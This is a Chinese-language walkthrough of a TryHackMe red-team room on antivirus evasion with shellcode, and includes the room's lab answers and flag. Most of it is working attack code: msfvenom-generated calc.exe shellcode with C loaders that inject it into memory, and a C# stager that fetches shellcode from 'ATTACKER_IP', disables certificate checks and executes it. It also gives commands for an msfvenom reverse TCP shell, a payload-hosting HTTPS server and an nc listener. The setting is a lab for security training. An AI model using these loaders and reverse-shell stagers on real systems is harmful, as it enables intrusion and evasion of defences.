AV规避shellcode

THM红队

AV 规避:Shellcode

学习 shellcode 编码、打包、绑定器和加密器。

介绍

将探讨如何构建和交付有效载荷,重点是避免被常见的AV引擎检测到。

目标:

  • 了解 shellcode 是如何制作的。
  • 探索分阶段有效载荷的优缺点。
  • 创建隐蔽的 shellcode 以避免AV检测。

PE 结构

此任务重点介绍 Windows 二进制文件的 PE 数据结构的一些高级基本元素。

什么是PE?

Windows 可执行文件格式,又名 PE(可移植可执行文件),是一种保存文件所需信息的数据结构。它是一种在磁盘上组织可执行文件代码的方法。Windows 和 DOS 加载程序等 Windows 操作系统组件可以将其加载到内存中,并根据在 PE 中找到的已解析文件信息执行它。

通常,Windows 二进制文件的默认文件结构,例如 EXE、DLL和目标代码文件,具有相同的 PE 结构,并且适用于两种(x86 和 x64)CPU 架构的 Windows 操作系统。

PE 结构包含保存有关二进制信息的各个部分,例如元数据和指向外部库内存地址的链接。这些部分之一是PE Header,它包含元数据信息、指针和指向内存中地址部分的链接。另一部分是数据部分,其中包含 包含 Windows 加载程序运行程序所需信息的容器,例如 可执行代码、 资源、 库链接、数据变量等。

PE结构中有不同类型的数据容器,每一种都保存着不同的数据。

  1. .text存放程序的实际代码
  2. .data保存初始化和定义的变量
  3. .bss保存未初始化的数据(声明的变量没有赋值)
  4. .rdata包含只读数据
  5. .edata:包含可导出对象和相关表信息
  6. .idata导入对象及相关表信息
  7. .reloc图像重定位信息
  8. .rsrc 链接程序使用的外部资源,如图像、图标、嵌入式二进制文件和清单文件,其中包含有关程序版本、作者、公司和版权的所有信息!

查看 PE 内容时,我们会看到它包含一堆人类不可读的字节。但是,它包括加载程序运行文件所需的所有详细信息。以下是 Windows 加载程序读取可执行二进制文件并将其作为进程运行的示例步骤。

  1. 头部信息:DOS、Windows 和可选头部被解析以提供有关 EXE 文件的信息。例如,
    魔数以“MZ”开头,告诉加载器这是一个 EXE 文件。
    文件签名
    文件是否编译为 x86 或 x64 CPU 架构。
    创建时间戳。

  2. 解析节表详细信息,例如
    文件包含的节的数量。

  3. 将文件内容基于内存进行映射。
    EntryPoint 地址和 ImageBase 的偏移量。
    RVA:相对虚拟地址,与 Imagebase 相关的地址。

  4. 导入、DLL 和其他对象被加载到内存中。

  5. EntryPoint 地址被定位,主执行函数运行。

为什么我们需要了解PE?

AV软件和恶意软件分析师根据 PE 标头和其他 PE 部分中的信息分析 EXE 文件。因此,要创建或修改 针对 Windows 机器的具有AV规避能力的 恶意软件,我们需要了解 Windows 可移植可执行文件的结构以及恶意 shellcode 的存储位置。

我们可以通过定义和初始化 shellcode 变量的方式来控制在哪个 Data 部分存储我们的 shellcode。以下是一些示例,展示了我们如何将 shellcode 存储在 PE 中:

  • 将 shellcode 定义为 main 函数中的局部变量会将其存储在.TEXT PE 部分中。
  • 将 shellcode 定义为全局变量会将其存储在.Data部分中。
  • 另一种技术涉及将 shellcode 作为原始二进制文件存储在图标图像中,并将其链接到代码中,因此在这种情况下,它显示在 .rsrc数据部分中。
  • 我们可以添加一个自定义数据部分来存储 shellcode。

PE-Bear

附加的VM是一台 Windows 开发机器,它具有解析 EXE 文件和阅读我们讨论的细节所需的工具。为了您的方便,我们在桌面上提供了 PE-Bear 软件的副本,这有助于检查 PE 结构:标题、部分等。PE-Bear 提供了一个图形用户界面来显示所有相关的 EXE 详细信息。要加载 EXE 文件进行分析,请选择文件->加载 PE (Ctrl + O)。

加载文件后,我们可以看到所有 PE 详细信息。以下屏幕截图显示了加载文件的 PE 详细信息,包括我们之前在此任务中讨论的标题和部分。

回答以下问题

thm-intro2PE.exe文件的 MD5 哈希值的最后 6 位是多少? 
530949

thm-intro2PE.exe文件的幻数值是多少  (十六进制)?
5A4D

thm-intro2PE.exe文件的入口点值是多少  ?
12E4

thm-intro2PE.exe文件有多少个 Sections   ?
7

自定义部分可用于存储额外数据。恶意软件开发者使用这种技术来创建一个包含他们的恶意代码的新部分,并劫持程序的流程以跳转并执行新部分的内容。额外部分的名称是什么?
.flag

检查额外部分的内容。旗帜是什么?
THM{PE-N3w-s3ction!}

Shellcode简介

Shellcode 是一组精心制作的机器代码指令,告诉易受攻击的程序运行其他功能,并且在大多数情况下,提供对系统 shell 的访问或创建反向命令 shell。

一旦 shellcode 被注入进程并被易受攻击的软件或程序执行,它会修改代码运行流程以更新程序的寄存器和函数以执行攻击者的代码。

它一般用汇编语言编写,并翻译成十六进制的操作码(operational codes)。编写独特的自定义 shellcode 有助于显着规避 AV 软件。但是编写自定义 shellcode 需要出色的知识和处理汇编语言的技能,这不是一件容易的事!

一个简单的 Shellcode!

为了制作你自己的 shellcode,需要一组技能:

  • 对 x86 和 x64 CPU 架构有很好的理解。
  • 汇编语言。
  • 精通C语言等编程语言。
  • 熟悉Linux和Windows操作系统。

要生成我们自己的 shellcode,我们需要从汇编机器代码中写入和提取字节。对于此任务,我们将使用 AttackBox 为Linux创建一个简单的 shellcode ,写入字符串“THM, Rocks!”。下面的汇编代码使用了两个主要函数:

  • 系统写入函数(sys_write)打印出我们选择的字符串。
  • 系统退出函数(sys_exit)终止程序的执行。

要调用这些函数,我们将使用syscalls 。系统调用是程序请求内核做某事的方式。在这种情况下,我们将请求内核向我们的屏幕写入一个字符串,然后退出程序。每个操作系统都有关于系统调用的不同调用约定,这意味着要在Linux中使用 write ,您可能会使用与在 Windows 上使用的系统调用不同的系统调用。对于 64 位 Linux,您可以通过设置以下值从内核调用所需的函数:

rax     System Call     rdi                 rsi                 rdx
0x1     sys_write       unsigned int fd     const char *buf     size_t count
0x3c    sys_exit        int error_code

上表告诉我们需要在不同的处理器寄存器中设置什么值才能使用系统调用调用 sys_write 和 sys_exit 函数。对于 64 位Linux,rax 寄存器用于指示我们希望调用的内核中的函数。将rax设置为0x1会使内核执行sys_write,将rax设置为0x3c会使内核执行sys_exit。这两个函数中的每一个都需要一些参数才能工作,这些参数可以通过 rdi、rsi 和 rdx 寄存器来设置

对于sys_write,发送的第一个参数rdi是要写入的文件描述符。in的第二个参数 rsi是指向我们要打印的字符串的指针,in的第三个 rdx是要打印的字符串的大小。

对于sys_exit,需要将 rdi 设置为程序的退出代码。我们将使用代码 0,这意味着程序成功退出。

将以下代码复制到您的 AttackBox 文件中,该文件名为thm.asm:

global _start

section .text
_start:
    jmp MESSAGE      ; 1) let's jump to MESSAGE

GOBACK:
    mov rax, 0x1
    mov rdi, 0x1
    pop rsi          ; 3) we are popping into `rsi`; now we have the
                     ; address of "THM, Rocks!\r\n"
    mov rdx, 0xd
    syscall

    mov rax, 0x3c
    mov rdi, 0x0
    syscall

MESSAGE:
    call GOBACK       ; 2) we are going back, since we used `call`, that means
                      ; the return address, which is, in this case, the address
                      ; of "THM, Rocks!\r\n", is pushed into the stack.
    db "THM, Rocks!", 0dh, 0ah

让我们更详细地解释一下 ASM 代码。首先,我们的消息字符串存储在 .text 部分的末尾。由于我们需要一个指向该消息的指针来打印它,因此我们将跳转到消息本身之前的 call 指令。当执行 call GOBACK 时,下一个指令地址将被推入堆栈,这对应于我们的消息所在的位置。请注意,消息末尾的 0dh、0ah 是换行符 (\r\n) 的二进制等价物。

接下来,程序启动 GOBACK 例程并准备所需的寄存器以进行第一个 sys_write() 函数。

  • 我们通过将 1 存储在 rax 寄存器中来指定 sys_write 函数。
  • 我们将 rdi 设置为 1,以将字符串输出到用户的控制台(STDOUT)。
  • 我们弹出一个指向我们的字符串的指针,该指针在调用 GOBACK 时被推入,并将其存储到 rsi 中。
  • 使用 syscall 指令,我们执行具有我们准备好的值的 sys_write 函数。
  • 对于接下来的部分,我们执行相同的操作来调用 sys_exit 函数,因此我们将 0x3c 设置为 rax 寄存器中的值,并调用 syscall 函数以退出程序。

接下来,我们编译和链接 ASM 代码以创建一个 x64 Linux 可执行文件,并最终执行该程序。

user@AttackBox$ nasm -f elf64 thm.asm
user@AttackBox$ ld thm.o -o thm
user@AttackBox$ ./thm
THM,Rocks!

我们使用nasm命令编译 asm 文件,指定选项-f elf64以指示我们正在为 64 位Linux编译。请注意,结果我们获得了一个 .o 文件,其中包含目标代码,需要链接该文件才能成为一个有效的可执行文件。该ld命令用于链接对象并获得最终的可执行文件。该-o选项用于指定输出可执行文件的名称。

我们可以将该部分objcopy 转储.text到一个以二进制格式调用的新文件中,thm.text如下所示:

user@AttackBox$ objcopy -j .text -O binary thm thm.text

thm.text 包含我们的二进制格式的 shellcode,因此为了能够使用它,我们需要先将其转换为十六进制。该xxd命令具有-i将二进制文件直接输出为 C 字符串的选项:

user@AttackBox$ xxd -i thm.text
unsigned char new_text[] = {
  0xeb, 0x1e, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xbf, 0x01, 0x00, 0x00, 0x00,
  0x5e, 0xba, 0x0d, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3c, 0x00, 0x00,
  0x00, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xe8, 0xdd, 0xff, 0xff,
  0xff, 0x54, 0x48, 0x4d, 0x2c, 0x20, 0x52, 0x6f, 0x63, 0x6b, 0x73, 0x21,
  0x0d, 0x0a
};
unsigned int new_text_len = 50;

为了确认提取的 shellcode 是否按我们预期的方式工作,我们可以执行我们的 shellcode 并将其注入 C 程序。

#include <stdio.h>

int main(int argc, char **argv) {
    unsigned char message[] = {
        0xeb, 0x1e, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xbf, 0x01, 0x00, 0x00, 0x00,
        0x5e, 0xba, 0x0d, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3c, 0x00, 0x00,
        0x00, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xe8, 0xdd, 0xff, 0xff,
        0xff, 0x54, 0x48, 0x4d, 0x2c, 0x20, 0x52, 0x6f, 0x63, 0x6b, 0x73, 0x21,
        0x0d, 0x0a
    };
    
    (*(void(*)())message)();
    return 0;
}

然后,我们编译并执行它,如下所示,

user@AttackBox$ gcc -g -Wall -z execstack thm.c -o thmx
user@AttackBox$ ./thmx
THM,Rocks!

生成 Shellcode

使用 shellcode 并演示如何使用 Metasploit 框架等公共工具生成和执行 shellcode。

使用公共工具生成 shellcode

可以使用特定编程语言为特定格式生成 Shellcode。这取决于你。例如,如果你的 dropper,它是主要的 exe 文件,包含将发送给受害者的 shellcode,并且是用 C 编写的,那么我们需要生成一个在 C 中工作的 shellcode 格式。

通过公共工具生成 shellcode 的好处是我们不需要从头开始编写自定义 shellcode,我们甚至不需要成为汇编语言方面的专家。大多数公共C2框架都提供自己的与 C2 平台兼容的 shellcode 生成器。当然,这对我们来说很方便,但缺点是大多数,或者可以说所有生成的 shellcode 都是 AV 厂商所熟知的,很容易被检测到。

我们将在 AttackBox 上使用 Msfvenom 来生成执行 Windows 文件的 shellcode。我们将创建一个运行calc.exe 应用程序的 shellcode。

user@AttackBox$ msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c
No encoder specified, outputting raw payload
Payload size: 193 bytes
Final size of c file: 835 bytes
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

结果,Metasploit 框架生成了一个执行 Windows 计算器 (calc.exe) 的 shellcode。Windows 计算器被广泛用作恶意软件开发过程中的示例,以显示概念证明。如果该技术有效,则会弹出一个新的 Windows 计算器实例。这证实了任何可执行的 shellcode 都适用于所使用的方法。

Shellcode注入

黑客使用各种技术将 shellcode 注入正在运行的或新的线程和进程中。Shellcode 注入技术修改程序的执行流程以更新程序的寄存器和函数以执行攻击者自己的代码。

现在让我们继续使用生成的shellcode,在操作系统上执行。 以下是包含我们生成的 shellcode 的 C 代码,它将被注入内存并执行“calc.exe”。

在 AttackBox 上,让我们将以下内容保存在名为 的文件中: calc.c

#include <windows.h>
char stager[] = {
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" };
int main()
{
        DWORD oldProtect;
        VirtualProtect(stager, sizeof(stager), PAGE_EXECUTE_READ, &oldProtect);
        int (*shellcode)() = (int(*)())(void*)stager;
        shellcode();
}

现在让我们把它编译成一个exe文件:

user@AttackBox$ i686-w64-mingw32-gcc calc.c -o calc-MSF.exe

一旦我们有了我们的 exe 文件,让我们将它传输到 Windows 机器上并执行它。要传输文件,您可以使用 AttackBox 中的 smbclient通过以下命令访问位于 \MACHINE_IP\Tools 的SMBthm共享(记住用户密码是Password321):

user@AttackBox$ smbclient -U thm '//10.10.221.45/Tools'
smb: \> put calc-MSF.exe

这应该将您的文件复制到C:\Tools\Windows 机器中。

虽然您机器的AV应该被禁用,但请随时尝试将您的有效负载上传到 THM 防病毒检查http://10.10.221.45/

Metasploit 框架有许多其他 shellcode 格式和类型可满足您的所有需求。

从 EXE 文件生成 Shellcode

Shellcode 也可以存储在.bin文件中,这是一种原始数据格式。在这种情况下,我们可以使用命令获取它的shellcode xxd -i

C2框架提供 shellcode 作为原始二进制文件.bin。如果是这种情况,我们可以使用Linux系统命令xxd来获取二进制文件的十六进制表示。为此,我们执行以下命令:xxd -i。

让我们使用 msfvenom 创建一个原始二进制文件来获取 shellcode:

user@AttackBox$ msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f raw > /tmp/example.bin
No encoder specified, outputting raw payload
Payload size: 193 bytes

user@AttackBox$ file /tmp/example.bin
/tmp/example.bin: data

xxd 并在创建的文件上运行命令:

user@AttackBox$ xxd -i /tmp/example.bin
unsigned char _tmp_example_bin[] = {
  0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64,
  0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28,
  0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c,
  0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52,
  0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1,
  0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49,
  0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01,
  0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75,
  0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b,
  0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,
  0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a,
  0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00,
  0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5,
  0xa2, 0x56, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c,
  0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
  0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65,
  0x00
};
unsigned int _tmp_example_bin_len = 193;

如果我们将输出与之前使用 Metasploit 创建的 shellcode 进行比较,它是匹配的。

分阶段有效载荷

在我们绕过AV 的目标中,我们将找到两种将最终 shellcode 交付给受害者的主要方法。根据方法的不同,您会发现有效载荷通常分为分阶段或无阶段有效载荷。在此任务中,我们将研究这两种方法的差异以及每种方法的优点。

无阶段有效载荷

无阶段有效负载将最终的 shellcode 直接嵌入到自身中。将其视为在单步过程中执行 shellcode 的打包应用程序。在之前的任务中,我们嵌入了一个可执行文件,该可执行文件嵌入了一个简单的calcshellcode,从而制作了一个无阶段的有效负载。

分阶段有效载荷

分阶段有效载荷通过使用中间 shellcode 来工作,这些 shellcode 充当导致最终 shellcode 执行的步骤。这些中间 shellcode 中的每一个都称为stager,其主要目标是提供一种方法来检索最终 shellcode 并最终执行它。

虽然可能存在具有多个阶段的有效载荷,但通常情况涉及两阶段有效载荷,其中第一阶段(我们称之为 stage0)是一个存根 shellcode,它将连接回攻击者的机器以下载最终的 shellcode执行。

一旦检索到,stage0 存根将在有效负载进程的内存中某处注入最终的 shellcode 并执行它(如下所示)。

分阶段与无阶段

在决定使用哪种类型的有效载荷时,我们必须了解我们将要攻击的环境。根据特定的攻击场景,每种有效载荷类型都有优点和缺点。

在无阶段有效负载的情况下,您会发现以下优点:

  • 生成的可执行文件打包了让我们的 shellcode 工作所需的所有内容。
  • 负载将在不需要额外网络连接的情况下执行。网络交互越少,被IPS检测到的机会就越小。
  • 如果您要攻击网络连接非常受限的主机,您可能希望将整个有效负载放在一个包中。

对于分阶段有效载荷,您将拥有:

  • 磁盘占用空间小。由于 stage0 只负责下载最终的 shellcode,因此它的大小很可能很小。
  • 最终的 shellcode 没有嵌入到可执行文件中。如果您的有效负载被捕获,蓝队将只能访问 stage0 存根,仅此而已。
  • 最终的 shellcode 加载到内存中,从不接触磁盘。这使得它不太容易被AV解决方案检测到。
  • 您可以为许多 shellcode 重用相同的 stage0 dropper,因为您可以简单地替换提供给受害者机器的最终 shellcode。

总之,我们不能说任何一种类型都比另一种更好,除非我们向它添加一些上下文。一般来说,无阶段有效载荷更适合具有大量边界安全性的网络,因为它不依赖于必须从 Internet 下载最终的 shellcode。例如,如果您正在对封闭网络环境中的目标计算机执行 USB Drop 攻击,您知道在该环境中您将无法连接回您的计算机,那么无阶段是可行的方法。

另一方面,当您希望将本地计算机上的占用空间减少到最低限度时,分阶段有效负载非常有用。由于它们在内存中执行最终有效负载,因此某些AV解决方案可能会发现更难检测到它们。它们也非常适合避免暴露您的 shellcode(这通常需要花费大量时间来准备),因为 shellcode 不会在任何时候(作为工件)被放入受害者的磁盘中。

Metasploit 中的 Stagers

使用msfvenom创建有效载荷或直接在Metasploit中使用它们时,您可以选择使用分阶段或非分阶段有效载荷。例如,如果要生成反向TCP shell,则会发现存在两个目的不同但名称略有不同的有效载荷(注意shell之后的_与/的区别)。

payload                             type

windows/x64/shell_reverse_tcp       无阶段负载
windows/x64/shell/reverse_tcp       分阶段有效载荷

通常,你会发现相同的名称模式适用于其他类型的 shell。例如,要使用无阶段的 Meterpreter,我们将使用 windows/x64/meterpreter_reverse_tcp,而不是它的有阶段对应物 windows/x64/meterpreter/reverse_tcp。

创建您自己的分段器

要创建暂存有效载荷,我们将使用@mvelazc0提供的暂存器代码的略微修改版本。我们的 stager 的完整代码可以在这里获得,但也可以在您的 Windows 机器上获得C:\Tools\CS Files\StagedPayload.cs

using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;

public class Program {
  //https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc 
  [DllImport("kernel32")]
  private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

  //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread
  [DllImport("kernel32")]
  private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

  //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
  [DllImport("kernel32")]
  private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

  private static UInt32 MEM_COMMIT = 0x1000;
  private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

  public static void Main()
  {
    string url = "https://ATTACKER_IP/shellcode.bin";
    Stager(url);
  }

  public static void Stager(string url)
  {

    WebClient wc = new WebClient();
    ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
    ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;

    byte[] shellcode = wc.DownloadData(url);

    UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);

    IntPtr threadHandle = IntPtr.Zero;
    UInt32 threadId = 0;
    IntPtr parameter = IntPtr.Zero;
    threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);

    WaitForSingleObject(threadHandle, 0xFFFFFFFF);

  }
}

下面我们一步步分析它的作用。

代码的第一部分将通过 P/Invoke 导入一些 Windows API 函数。我们需要的函数是以下三个来自kernel32.dll:

WinAPI函数                  描述
VirtualAlloc()              允许我们保留一些内存供我们的 shellcode 使用。
CreateThread()              创建一个线程作为当前进程的一部分。
WaitForSingleObject()       用于线程同步。它允许我们在继续之前等待线程完成。

负责导入这些函数的代码部分如下:

//https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc 
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

//https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

我们代码中最重要的部分将在函数中Stager(),其中将实现 stager 逻辑。Stager 函数将从中接收要执行的 shellcode 的 URL。

Stager()函数的第一部分将创建一个新的WebClient()对象,使我们能够使用Web请求下载shellcode。在进行实际请求之前,我们将覆盖ServerCertificateValidationCallback方法,该方法负责在使用HTTPS请求时验证SSL证书,以便WebClient不会抱怨使用在托管有效载荷的Web服务器中的自签名或无效证书。之后,我们将调用DownloadData()方法从给定的URL下载shellcode并将其存储到shellcode变量中:

WebClient wc = new WebClient();
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;

byte[] shellcode = wc.DownloadData(url);

一旦我们的 shellcode 被下载并存储在 shellcode 变量中,我们需要将其复制到可执行内存中才能运行。我们使用 VirtualAlloc() 从操作系统请求一个内存块。请注意,我们请求足够的内存以分配 shellcode.Length 字节,并设置 PAGE_EXECUTE_READWRITE 标志,使分配的内存可执行、可读和可写。一旦我们的可执行内存块被保留并分配给 codeAddr 变量,我们使用 Marshal.Copy() 将 shellcode 变量的内容复制到 codeAddr 变量中。

UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);

现在我们在可执行内存块中分配了一份 shellcode 副本,我们使用该CreateThread()函数在当前进程上生成一个新线程来执行我们的 shellcode。传递给 CreateThread 的第三个参数指向codeAddr我们的 shellcode 的存储位置,因此当线程启动时,它会像运行常规函数一样运行我们的 shellcode 的内容。第五个参数设置为 0,表示线程将立即启动。

创建线程后,我们将调用该 WaitForSingleObject() 函数来指示我们当前的程序它必须等待线程执行完成才能继续。这可以防止我们的程序在 shellcode 线程有机会执行之前关闭:

IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);

WaitForSingleObject(threadHandle, 0xFFFFFFFF);

要编译代码,我们建议将其作为名为 staged-payload.cs 的文件复制到 Windows 机器中,并使用以下命令进行编译:

PS C:\> csc staged-payload.cs

使用我们的 stager 运行反向 shell

一旦我们的有效载荷被编译,我们将需要设置一个网络服务器来托管最终的 shellcode。请记住,我们的 stager 将连接到该服务器以检索 shellcode 并在受害者机器的内存中执行它。让我们从生成一个 shellcode 开始(文件名需要与我们的 stager 中的 URL 相匹配):

user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=7474 -f raw -o shellcode.bin -b '\x00\x0a\x0d'

请注意,我们正在为我们的 shellcode 使用原始格式,因为 stager 将直接加载它下载到内存中的任何内容。

现在我们有了 shellcode,让我们设置一个简单的 HTTPS 服务器。首先,我们需要使用以下命令创建一个自签名证书:

user@AttackBox$ openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes

系统会要求您提供一些信息,但请随时按回车键获取任何请求的信息,因为我们不需要 SSL 证书有效。一旦我们有了 SSL 证书,我们就可以通过以下命令使用 python3 生成一个简单的 HTTPS 服务器:

user@AttackBox$ python3 -c "import http.server, ssl;server_address=('0.0.0.0',443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile='localhost.pem',ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()"

所有这些准备就绪后,我们现在可以执行我们的 stager payload。stager 应该连接到 HTTPS 服务器并检索 shellcode.bin 文件以将其加载到内存中并在受害机器上运行。请记住设置一个 nc 侦听器以在运行 msfvenom 时指定的同一端口上接收反向 shell:

user@AttackBox$ nc -lvp 7474

编码和加密简介

什么是编码?

编码是根据算法或编码类型将数据从其原始状态更改为特定格式的过程。它可以应用于许多数据类型,例如视频、HTML、URL 和二进制文件(EXE、图像等)。

编码是一个重要的概念, 通常用于各种目的,包括但不限于:

  • 程序编译与执行
  • 数据存储与传输
  • 文件转换等数据处理

同样,在涉及AV规避技术时,编码也用于将 shellcode 字符串隐藏在二进制文件中。然而,编码不足以达到规避目的。现在的反病毒软件更加智能,可以分析一个二进制文件,一旦找到编码字符串,就对其进行解码,以检查文本的原始形式。

您还可以串联使用两种或多种编码算法,使AV更难找出隐藏的内容。下图是我们将“THM”字符串转换为十六进制表示,然后使用Base64编码。在这种情况下,您需要确保您的滴管现在可以处理此类编码,以将字符串恢复到其原始状态。

什么是加密?

加密是信息和数据安全的基本要素之一,其重点是防止未经授权的数据访问和操纵。加密过程涉及将明文(未加密的内容)转换为称为密文的加密版本。如果不知道加密中使用的算法以及密钥,则无法读取或解密密文。

与编码一样,加密技术用于各种目的,例如安全地存储和传输数据,以及端到端加密。可以通过两种方式使用加密:在两方之间使用共享密钥或使用公钥和私钥。

为什么我们需要了解编码和加密?

AV供应商实施他们的 AV 软件,以使用静态或动态检测技术将大多数公共工具(例如 Metasploit 等)列入黑名单。因此,在不修改这些公共工具生成的shellcode 的情况下 ,您的植入程序的检测率很高。

